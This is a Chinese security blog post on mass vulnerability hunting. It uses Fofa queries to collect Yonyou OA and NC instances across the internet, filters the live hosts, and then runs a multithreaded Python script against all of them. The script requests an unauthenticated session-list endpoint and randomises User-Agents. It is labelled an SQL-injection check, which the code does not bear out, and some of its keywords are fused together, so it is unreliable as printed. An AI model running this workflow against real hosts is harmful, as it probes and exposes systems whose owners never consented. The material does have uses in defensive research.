文章总结: 文章详细介绍了使用Fofa网络空间搜索引擎进行批量漏洞挖掘的方法,包括基础搜索语法、信息收集、资产筛选、漏洞验证和结果整理四个阶段。文章提供了FofaAPI调用、Base64编码转换、存活资产检测、指纹识别等具体操作步骤,并给出了用友U8OASQL注入漏洞的批量检测脚本示例。通过结合Fofa搜索语法和自动化工具,安全研究人员可以高效地发现和验证同一类漏洞,提高漏洞挖掘效率。
综合评分: 88
文章分类: WEB安全,渗透测试,漏洞分析,安全工具,信息收集
Fofa搜索语法实现同一类漏洞批量挖掘
原创
lily
C4安全
2025年11月19日 09:04
江苏
——这是FOFA语法基础篇的第二篇介绍文章
一、Fofa基础与核心搜索语法
1.1 Fofa是什么
Fofa是一款网络空间搜索引擎,能够快速发现并识别互联网上的设备和系统。通过精准的搜索语法,可以快速定位特定类型的网络资产,是安全研究人员进行信息收集的重要工具。
1.2 核心搜索语法
Fofa搜索语法主要由协议类型、标题、HTTP头、状态码、产品信息等要素构成:
-
title="后台" -
搜索标题包含”后台”的网站
-
body="login" -
搜索页面内容包含”login”的网站
-
header="Server: nginx" -
搜索HTTP头中包含”Server: nginx”的网站
-
port="8080" -
搜索使用8080端口的网站
-
product="Weblogic" -
搜索Weblogic产品
-
app="用友-NC-Cloud" -
搜索特定应用
-
icon_hash="2177235413" -
通过favicon哈希值搜索特定系统
-
ip="114.114.114.114" -
搜索特定IP
-
domain="example.com" -
搜索特定域名下的资产
-
cert="baidu.com" -
搜索证书中包含”baidu.com”的HTTPS网站
1.3 语法组合技巧
-
逻辑操作符:
&&(与)、||(或)、!(非) -
title="后台" && body="login" -
product="Weblogic" || product="Tomcat" -
title="管理系统" && !body="test" -
通配符:
* -
title="*管理系统*" -
分组:
() -
(title="后台" || title="登录") && body="admin"
FOFA地址:
https://fofa.info/
二、批量挖洞完整流程
批量挖洞主要分为四个阶段:信息收集 → 资产筛选 → 漏洞验证 → 结果整理
2.1 信息收集阶段
2.1.1 Fofa API调用
需要先注册Fofa账号(https://fofa.info/),获取Email和API Key,用于程序化调用。这里也推荐直接手动查询,效果是一样的。
# Fofa API基础调用示例
curl"https://fofa.info/api/v1/search/all?email=your_email&key=your_api_key&qbase64=base64编码的查询语句&page=1&size=100"
2.1.2 获取Fofa语法的Base64编码
import base64
# 将Fofa语法转换为Base64编码
fofa_query ='app="用友-NC-Cloud"'
encoded_query = base64.b64encode(fofa_query.encode()).decode()
print(f"Base64编码结果: {encoded_query}")
2.1.3 Fofa采集工具使用
推荐使用fofa-viewer,这是一个由狼组安全团队开发的GUI工具:
- 下载地址:https://github.com/wgpsec/fofa_viewer/releases
- 当前最新版本:v1.4.0
- 系统要求:Windows 10+ 或 Linux (需Python 3.6+)
- 配置步骤:
- 填写Fofa账号的Email和API Key
- 输入Fofa语法(如:
app="用友-NC-Cloud") - 点击”采集”按钮
- 导出结果为txt文件(每行一个URL)
2.2 资产筛选阶段
获取大量资产后,需要进行筛选以提高检测效率:
2.2.1 使用WebAliveScan检测存活资产
推荐工具:WebAliveScan
- 下载地址:https://github.com/broken5/WebAliveScan
- 当前最新版本:v1.2
- 系统要求:Java 8+
- 使用方法:
# 下载并解压
wget https://github.com/broken5/WebAliveScan/releases/download/v1.2/WebAliveScan_v1.2.zip
unzip WebAliveScan_v1.2.zip
cd WebAliveScan
# 运行扫描(输入为fofa_results.txt)
java-jar WebAliveScan.jar fofa_results.txt alive_results.txt
2.2.2 使用Goby进行指纹识别
推荐工具:Goby
- 下载地址:https://gobies.org/download.html
- 当前最新版本:v2.0.0
- 系统要求:Windows 7+ / macOS 10.14+ / Linux (x86_64)
- 批量导入IP进行扫描:
- 导入alive_results.txt中的IP
- 选择”快速扫描”或”深度扫描”模式
- 导出扫描结果为JSON或CSV格式
2.3 漏洞验证阶段
2.3.1 Fofa+Xray联合批量扫描
推荐工具:fofa2Xray
- 下载地址:https://github.com/ldmtwo/fofa2Xray
- 当前最新版本:v1.0
- 系统要求:Windows / Linux (需Go 1.16+)
2.3.2 自定义POC脚本实现批量检测
以”用友 U8 OA SQL注入漏洞”为例:
import requests
import sys
import urllib3
from argparse import ArgumentParser
import threading
from queue import Queue
import random
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 生成随机User-Agent
defget_ua():
first_num = random.randint(55,62)
third_num = random.randint(0,3200)
fourth_num = random.randint(0,140)
os_type =[
'(Windows NT 6.1; WOW64)',
'(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version =f'Chrome/{first_num}.0.{third_num}.{fourth_num}'
returnf'Mozilla/5.0 {random.choice(os_type)} AppleWebKit/537.36 (KHTML, like Gecko) {chrome_version} Safari/537.36'
# 漏洞检测函数
defcheck_vuln(url, timeout=10):
target = url.rstrip('/')+'/yyoa/ABSServlet?cmd=getSessionList'
headers ={
'User-Agent': get_ua(),
'Accept':'*/*',
'Content-Type':'application/x-www-form-urlencoded'
}
try:
response = requests.get(target, headers=headers, timeout=timeout, verify=False)
if'sessionList'in response.text and response.status_code ==200:
print(f"[+] 漏洞存在: {url}")
withopen('vuln_results.txt','a')as f:
f.write(f"{url}\n")
returnTrue
except Exception as e:
pass
returnFalse
# 线程工作函数
defworker(q):
whilenot q.empty():
url = q.get()
check_vuln(url)
q.task_done()
defmain():
parser = ArgumentParser(description='用友 U8 OA SQL注入漏洞批量检测')
parser.add_argument('-f','--file', required=True,help='目标URL列表文件')
parser.add_argument('-t','--threads',type=int, default=20,help='并发线程数')
args = parser.parse_args()
# 初始化队列
url_queue = Queue()
# 读取目标文件
withopen(args.file,'r')as f:
for line in f:
url = line.strip()
if url and(url.startswith('http://')or url.startswith('https://')):
url_queue.put(url)
# 创建并启动线程
print(f"开始检测,共 {url_queue.qsize()} 个目标,使用 {args.threads} 个线程...")
start_time = time.time()
for _ inrange(args.threads):
t = threading.Thread(target=worker, args=(url_queue,))
t.daemon =True
t.start()
# 等待所有任务完成
url_queue.join()
print(f"检测完成,耗时: {time.time()- start_time:.2f}秒")
print(f"漏洞结果已保存到 vuln_results.txt")
if __name__ =='__main__':
main()
使用方法:
python yonyou_u8_sql_inject.py -f alive_results.txt -t50
后期批量检测可以确定好某一漏洞产品,然后下载同产品的目标网站,进行批量检测同一漏洞即可。
高级技巧与注意事项
3.1 搜索语法优化技巧
- 精准识别:结合多个特征提高准确性
title="用友NC Cloud" && header="Server: Apache-Coyote/1.1"body="ufida" && icon_hash="1156182447"
- 排除误报:
app="用友-NC-Cloud" && status_code="200" && !title="测试环境"
- 按地区筛选:
app="用友-NC-Cloud" && country="CN"
- 按IP段筛选:
app="用友-NC-Cloud" && ip="114.0.0.0/8"
团队内部知识大陆链接如下,折扣优惠中~
往期推荐
字典生成工具”闪紫”,AI联助力生成效果,迎来大更新v1.1.1版本!
【海外SRC】漏洞挖掘之业务漏洞
【实战SRC】漏洞挖掘之wsdl服务注入
雷池WAF使用指南,如何加强检测规则配置
用友U8C漏洞分析 – FilterCondAction方法SQL注入漏洞
Yakit漏洞 – 查看未公开的私密插件(已修复)
挖漏之旅杂谈 – 终焉的奖池
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:C4安全 lily《Fofa搜索语法实现同一类漏洞批量挖掘》